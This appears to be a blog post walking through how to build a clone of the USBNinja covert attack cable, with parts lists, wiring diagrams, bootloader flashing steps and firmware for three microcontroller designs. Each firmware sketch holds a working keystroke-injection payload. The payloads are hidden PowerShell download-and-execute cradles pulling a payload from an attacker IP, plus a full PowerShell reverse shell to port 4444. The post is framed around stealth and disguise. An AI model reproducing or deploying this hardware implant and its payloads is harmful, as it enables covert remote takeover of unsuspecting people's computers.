How To Build Your Own USBNinja Cable (DYI)
- Biohazard

- 1 day ago
- 9 min read

Building A USBNinja Cable
The USBNinja cable architecture is distinct from the O.MG cable. Where O.MG uses WiFi + ESP32, the Ninja Cable uses Bluetooth LE + ATtiny85 with V-USB and adds a Hall effect sensor for magnetic ring triggering. The firmware is fully open-source and well-documented. Here's how to build a functional clone, from easiest to most authentic. This is a guide on how to build your own USBNinja cable.
What You're Actually Building
The Ninja Cable is a USB cable that:
Passes through power and data — works as a normal charging/sync cable until triggered
Injects keystrokes as an HID keyboard (Ducky Script-style payloads)
Triggers via Bluetooth — from a dedicated remote, Android app, or any BLE client
Triggers via magnet — a Hall effect sensor detects a magnetic ring held against the USB shell
Stores 6KB of payload in flash
The real hardware is an ATtiny85 (bit-banged USB via V-USB, Micronucleus bootloader) paired with a BLE module and a Hall sensor, all crammed into a USB connector shell. That level of miniaturization demands custom PCB fabrication. Let me walk through every approach.
Approach 1: Adafruit Bluefruit LE Micro (Fastest Path to Functional)
This is the closest off-the-shelf board to a Ninja Cable's core. It has an ATmega32u4 (native USB HID, no V-USB headaches) and an nRF51822 BLE module on one board — same BLE chip family used in many Ninja Cable implementations. Just add a Hall sensor and USB passthrough wiring.
BOM
Part | ~Cost |
Adafruit Bluefruit LE Micro | $20-25 |
AH3144 Hall effect sensor (or A3144, US1881) | $0.50 |
10kΩ pull-up resistor | pennies |
USB cable to sacrifice (USB-A to whatever) | $3 |
Heat shrink tubing | $2 |
Magnetic ring (neodymium ring magnet) | $3 |
Wiring
USB Host Side (USB-A plug) Target Device Side (USB-C/Micro/Lightning)
│ │
│ ┌──────────────────────────────┐ │
├──┤ D+ ─────────────────── D+ ├─────┤
├──┤ D- ─────────────────── D- ├─────┤
├──┤ VBUS ───┬────────────── VBUS├─────┤
│ │ │ │ │
│ │ ┌────┴─────────┐ │ │
│ │ │ 5V → 3.3V │ │ │
│ │ │ Regulator │ │ │
│ │ └────┬─────────┘ │ │
│ │ │ │ │
│ │ ┌────┴─────────┐ │ │
│ │ │ Bluefruit │ │ │
│ │ │ LE Micro │ │ │
│ │ │ │ │ │
│ │ │ GPIO ──┬─── │ │ │
│ │ │ │ │ │ │
│ │ │ Hall Sensor│ │ │
│ │ │ (AH3144) │ │ │
│ │ └──────────────┘ │ │
├──┤ GND ─────────────────── GND ├─────┤
│ └──────────────────────────────┘ │
The Hall sensor connects between a GPIO pin and GND, with a 10kΩ pull-up to 3.3V on the GPIO. When a magnet comes near, the sensor pulls the pin LOW.
Hall Sensor Hookup
3.3V
│
10kΩ (pull-up)
│
GPIO ───┼─── AH3144 Pin 3 (Output)
│
AH3144
│
Pin 1 (VCC) ─── 3.3V
Pin 2 (GND) ─── GND
When no magnet is present: GPIO reads HIGH (pulled up). When magnet ring is placed against the sensor: GPIO reads LOW. This is exactly how the USBNinja USBDIRECTPIN works.
Arduino Code
cpp
#include <bluefruit.h>
#define HALL_PIN 5 // GPIO pin connected to Hall sensor
#define LED_PIN 13 // Onboard LED for status
BLEUart bleuart; // BLE UART service
bool executed = false;
void setup() {
pinMode(HALL_PIN, INPUT); // Hall sensor input (with external pull-up)
pinMode(LED_PIN, OUTPUT);
digitalWrite(LED_PIN, LOW);
Bluefruit.begin();
Bluefruit.setName("NinjaCable");
Bluefruit.setTxPower(4);
bleuart.begin();
Bluefruit.Advertising.addService(bleuart);
Bluefruit.Advertising.start();
// USB HID starts immediately on ATmega32u4 — we'll use it on trigger
}
void loop() {
// Check magnet trigger
if (digitalRead(HALL_PIN) == LOW && !executed) {
executed = true;
digitalWrite(LED_PIN, HIGH);
runPayload();
digitalWrite(LED_PIN, LOW);
}
// Check BLE trigger
if (bleuart.available()) {
String cmd = bleuart.readStringUntil('\n');
cmd.trim();
if (cmd == "ATTACK") {
runPayload();
}
}
// Reset trigger when magnet is removed (debounce)
if (digitalRead(HALL_PIN) == HIGH) {
executed = false;
}
}
void runPayload() {
// Standard Ducky-style payload
Keyboard.begin();
delay(1000);
// Send HID '0' for Win7 compatibility
Keyboard.write(0);
delay(500);
// WIN + R
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(100);
Keyboard.releaseAll();
delay(500);
// Launch PowerShell with download cradle
Keyboard.println("powershell -NoP -NonI -W Hidden -Exec Bypass");
delay(500);
Keyboard.println("(New-Object Net.WebClient).DownloadFile('http://YOUR_IP/payload.exe',\"$env:TEMP\\svc.exe\");Start-Process \"$env:TEMP\\svc.exe\";exit");
delay(200);
Keyboard.end();
}
USB Passthrough Detail
This is the trickiest part mechanically. You need to cut a USB cable, solder the data lines straight through (D+ to D+, D- to D-), and tap only VBUS and GND to power your board. The Bluefruit LE Micro does NOT intercept data — it just sits on the power rails. This means when the cable is in "passive" mode, it functions as a completely normal USB cable for both charging and data.
[USB-A Plug]──┬──D+ (green)────────────────────┬──[Device Connector]
├──D- (white)────────────────────┤
├──VBUS (red)───┬──5V to Bluefruit┤
│ │ (via regulator) │
├──GND (black)──┼──GND to Bluefruit┤
│ │ │
└───────────────┴──────────────────┘
Approach 2: Arduino Pro Micro + JDY-08 BLE + Hall Sensor
If the Bluefruit LE Micro is unavailable or you want cheaper
components:
BOM
Part | ~Cost |
Arduino Pro Micro (ATmega32u4, 5V/16MHz) | $4 |
JDY-08 BLE module (or JDY-16, JDY-18) | $2-3 |
AH3144 Hall effect sensor | $0.50 |
AMS1117 3.3V regulator | $0.30 |
10kΩ resistor | pennies |
Sacrificial USB cable | $3 |
Wiring Diagram
Pro Micro (5V) JDY-08 (3.3V)
────────────── ─────────────
VCC ────┬── 5V from USB VCC ─── 3.3V from regulator
│
└── AMS1117 3.3V ────┐
├── JDY-08 VCC
└── Hall Sensor VCC
TX (D1) ────[5V→3.3V level shift]──→ JDY-08 RX (P03)
RX (D0) ←──[3.3V→5V level shift]─── JDY-08 TX (P02)
GPIO 2 ──────┬── 10kΩ to 3.3V ── Hall Sensor Output
└── Direct read
GND ──────────────────────────── GND (common)
Important: JDY-08 runs on 3.3V and its pins are NOT 5V tolerant. You MUST use level shifters or a voltage divider on the TX/RX lines. A simple resistor divider (2.2kΩ + 3.3kΩ) works for 5V→3.3V.
JDY-08 AT Command Configuration
First, configure the JDY-08 using a USB-to-serial adapter at 9600 baud:
AT+NAMENinjaCable # Set BLE device name
AT+PIN8888 # Set pairing PIN
AT+BAUD4 # Set 9600 baud (match Pro Micro)
AT+POWR3 # Lower TX power (saves power)
AT+ADVIN6 # 1000ms advertising interval
AT+NEIN2 # 500ms connection interval
AT+PWMOPEN # Disable PWM (saves power)
AT+RESET # Apply changes
Code (Pro Micro + JDY-08 via SoftwareSerial)
cpp
#include <SoftwareSerial.h>
#include <Keyboard.h>
#define HALL_PIN 2
#define JDY_RX 3 // Pro Micro pin 3 → JDY-08 TX
#define JDY_TX 4 // Pro Micro pin 4 → JDY-08 RX
SoftwareSerial bleSerial(JDY_RX, JDY_TX);
bool executed = false;
void setup() {
pinMode(HALL_PIN, INPUT);
bleSerial.begin(9600);
Serial.begin(9600); // For debug only
// Wait for JDY-08 to initialize
delay(1000);
}
void loop() {
// Magnetic trigger
if (digitalRead(HALL_PIN) == LOW && !executed) {
executed = true;
runPayload();
}
// BLE command trigger
if (bleSerial.available()) {
String cmd = bleSerial.readStringUntil('\n');
cmd.trim();
if (cmd == "ATTACK") {
runPayload();
}
}
if (digitalRead(HALL_PIN) == HIGH) {
executed = false;
}
}
void runPayload() {
Keyboard.begin();
delay(1000);
Keyboard.write(0);
delay(500);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(100);
Keyboard.releaseAll();
delay(500);
Keyboard.println(F("powershell -NoP -NonI -W Hidden -Exec Bypass "
"\"$c=New-Object Net.Sockets.TCPClient('IP',4444);"
"$s=$c.GetStream();[byte[]]$b=0..65535|%{0};"
"while(($i=$s.Read($b,0,$b.Length))-ne 0)"
"{$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);"
"$r=iex $d 2>&1|Out-String;"
"$sb=$r+'PS '+(pwd).Path+'> ';"
"$sb2=([text.encoding]::ASCII).GetBytes($sb);"
"$s.Write($sb2,0,$sb2.Length);$s.Flush()}\""));
delay(200);
Keyboard.end();
}Approach 3: ATtiny85 + V-USB + BLE (Authentic Ninja Cable Architecture)
This matches the actual Ninja Cable's design. It's harder — V-USB is bit-banged USB on an 8-bit micro with only 8KB flash and 512 bytes RAM — but it's the only way to get the board small enough to fit inside a USB connector shell.
BOM
Part | ~Cost |
ATtiny85-20PU | $1.50 |
JDY-08 BLE module | $2 |
AH3144 Hall sensor | $0.50 |
3.3V LDO regulator (MCP1700 or similar) | $0.40 |
USB cable head to cannibalize | — |
1.5kΩ pull-up on D- (required for USB detection) | pennies |
Zener diodes 3.6V (for D+/D- protection) | pennies |
16MHz crystal + 22pF caps (optional, can use internal 16.5MHz) | $1 |
The V-USB Constraint
ATtiny85 has no native USB peripheral. V-USB bit-bangs USB 1.1 low-speed (1.5 Mbps) in software using GPIO pins.
This means:
You get 6KB usable flash (2KB for Micronucleus bootloader)
USB timing is tight — 12 MIPS minimum, hence 16.5 MHz clock
D+ and D- need 3.6V Zener clamps to protect the ATtiny pins
You need the Micronucleus bootloader pre-flashed
Schematic (Core)
ATtiny85
┌──────────┐
D- ──┬────────┤ PB3 (11) │
│ 1.5kΩ │ │
D+ ──┼────────┤ PB4 (12) │
│ │ │
│ │ PB0 (5) ─┤── JDY-08 TX (via divider)
│ │ PB1 (6) ─┤── JDY-08 RX
│ │ PB2 (7) ─┤── Hall Sensor Output (INPUT, pull-up)
│ │ │
│ │ PB5 (1) ─┤── Reset (for bootloader entry)
│ │ │
3.3V ───────┤ VCC (8) │
GND ───────┤ GND (4) │
└──────────┘
The 1.5kΩ pull-up on D- tells the host this is a low-speed USB device.
Flashing Micronucleus Bootloader
You need an Arduino Uno as ISP programmer:
bash
# 1. Upload ArduinoISP to your Uno
# File → Examples → 11.ArduinoISP → ArduinoISP
# 2. Wire Uno to ATtiny85:
# Uno D13 → ATtiny85 PB2 (SCK, pin 7)
# Uno D12 → ATtiny85 PB1 (MISO, pin 6)
# Uno D11 → ATtiny85 PB0 (MOSI, pin 5)
# Uno D10 → ATtiny85 PB5 (RESET, pin 1)
# Uno 5V → ATtiny85 VCC
# Uno GND → ATtiny85 GND
# 10µF cap between Uno RESET and GND
# 3. Flash micronucleus bootloader
avrdude -c arduino -p attiny85 -P COM3 -b 19200 \
-U flash:w:micronucleus-1.11.hex:i \
-U lfuse:w:0xE1:m -U hfuse:w:0xDD:m -U efuse:w:0xFE:m
The critical fuse bits:
lfuse:0xE1 → 16.5 MHz internal oscillator, 65ms startup
hfuse:0xDD → Enable reset pin, 6KB bootloader, SPI programming enabled
efuse:0xFE → Self-programming enabled
After flashing, when you plug the ATtiny85 into USB, it should enumerate as a Micronucleus device. Install the USBNinja Arduino board package to upload sketches over USB.
Installing the USBNinja Arduino Package
In Arduino IDE: File → Preferences
Additional Boards Manager URLs: https://raw.githubusercontent.com/4d4c/USBNinja/master/install_files/package_USBNinja_index.json
Tools → Board → Boards Manager → search "USB Ninja" → Install
Select Tools → Board → USB Ninja cable (BLE+Hall sensor)
Minimal Ninja Cable Sketch for ATtiny85
Due to the 6KB flash limit, you need to be efficient:
cpp
#include "NinjaKeyboard.h" // From USBNinja framework
// Hall sensor pin on PB2
#define HALL_PIN 2
// SoftwareSerial on PB0(RX) and PB1(TX) for JDY-08
#include <SoftwareSerial.h>
SoftwareSerial bleSerial(0, 1); // RX=PB0, TX=PB1
void setup() {
pinMode(HALL_PIN, INPUT); // Pull-up external
bleSerial.begin(9600);
// Short delay for BLE module init
delay(500);
}
void loop() {
static bool triggered = false;
// Hall sensor trigger (active LOW)
if (digitalRead(HALL_PIN) == LOW && !triggered) {
triggered = true;
executePayload();
}
// BLE command trigger
if (bleSerial.available() >= 6) {
char buf[7];
bleSerial.readBytes(buf, 6);
buf[6] = 0;
if (strcmp(buf, "ATTACK") == 0) {
executePayload();
}
}
// Reset trigger state when magnet removed
if (digitalRead(HALL_PIN) == HIGH) {
triggered = false;
}
}
void executePayload() {
USBninjaOnline(); // Switch to HID mode
NinjaKeyboard.begin();
delay(1000);
NinjaKeyboard.sendKeyStroke(0); // Win7 compat
delay(500);
// WIN+R → powershell → download cradle
NinjaKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
delay(200);
NinjaKeyboard.print(F("powershell -NoP -W Hidden -Exec Bypass "));
NinjaKeyboard.print(F("-c \"iwr http://IP/p -UseB | iex\""));
delay(100);
NinjaKeyboard.sendKeyStroke(KEY_ENTER);
delay(500);
NinjaKeyboard.end();
USBninjaOffline(); // Back to cable mode
}
This fits within the ATtiny85's limits if you're disciplined about string lengths and flash usage.
Approach 4: Custom PCB
The board layout is the hardest part. You're trying to fit into a USB-A plug shell: roughly 12mm × 15mm × 5mm. Your PCB needs:
4 layers minimum for routing density
0.6mm thickness to fit in the shell
Flex PCB if you want the cable to bend (O.MG uses this)
Impedance-controlled USB traces (90Ω differential for D+/D-)
Chip antenna or PCB trace antenna for BLE
You'd design this in KiCad, fabricate through JLCPCB (~$2 for 5 boards), and hand-assemble with a hot air station. Expect 3-5 revisions before it works reliably. The minimum viable design drops the BLE for a pure magnetic trigger — much simpler routing, and the original Ninja Cable's Hall sensor trigger is its most iconic feature.
Triggering: Remote Control Options
The real Ninja Cable ships with a custom Bluetooth remote. For your DIY build, you have several options:
Option 1: Android App The official USBNinja APK is available at https://usbninja.com/drivers_tools/USBNinja.apk. It scans for BLE devices named "Ninja" and sends ATTACK/PAYLOAD_A/PAYLOAD_B commands.
Option 2: nRF Connect (any platform) Connect to the BLE UART service, send ATTACK\n — done.
Option 3: Custom BLE remote Use a second JDY-08 or an ESP32 configured as BLE master that sends the ATTACK command at a button press. The JDY-08 can be configured as BLE master with AT commands:
AT+ROLE1 # Set as master
AT+BANDNAME # Bind to slave by name
AT+CONNNinjaCable
Then wire a button to the master JDY-08 that sends "ATTACK\n" over serial on press.
Option 4: Magnetic ring only (simplest) Skip BLE entirely. Just the Hall sensor trigger. This is the most reliable, stealthiest, and mechanically simplest option.
Physical Build: Practical Assembly Tips
The hardest part isn't the electronics — it's packaging everything inside a USB cable head:
Start with a USB extension cable, not a charge cable. Cut it in half. You now have a USB-A male on one side and a USB-A female on the other.
Solder data lines straight through (green to green, white to white). Use the thinnest wire you can find — 30 AWG kynar wire-wrap wire works well.
Tap VBUS and GND to power your circuit. Add a small 10µF capacitor across the power rails near the MCU for stability.
Mount the Hall sensor against the inside wall of the USB-A plug's metal shell. This is where the magnetic ring goes. Hot glue or epoxy to hold it in place.
Use the smallest board possible. A Pro Micro is probably too large for a cable head — you'll need to mount it inline on the cable and cover it with a larger heat-shrink section (like a ferrite bead). For true cable-head integration, the ATtiny85 on a tiny custom board or dead-bug soldered is the only way.
Test in passive mode first: plug in the cable, charge a phone. If that works, trigger the payload. If you get USB enumeration failures, check your data line soldering — cold joints on D+/D- are the #1 cause of problems.
Which Approach Should You Choose?
Your Situation | Best Approach |
I need this working for a pentest next week | Bluefruit LE Micro — afternoon build |
I want cheap, hackable, and well-documented | Pro Micro + JDY-08 — familiar Arduino ecosystem |
I want the authentic architecture and smallest size | ATtiny85 + V-USB — harder but matches real hardware |
I want a production-quality stealth cable | Custom PCB — months of iteration |
I just need it to work and have budget | Buy a real USBNinja cable |




Comments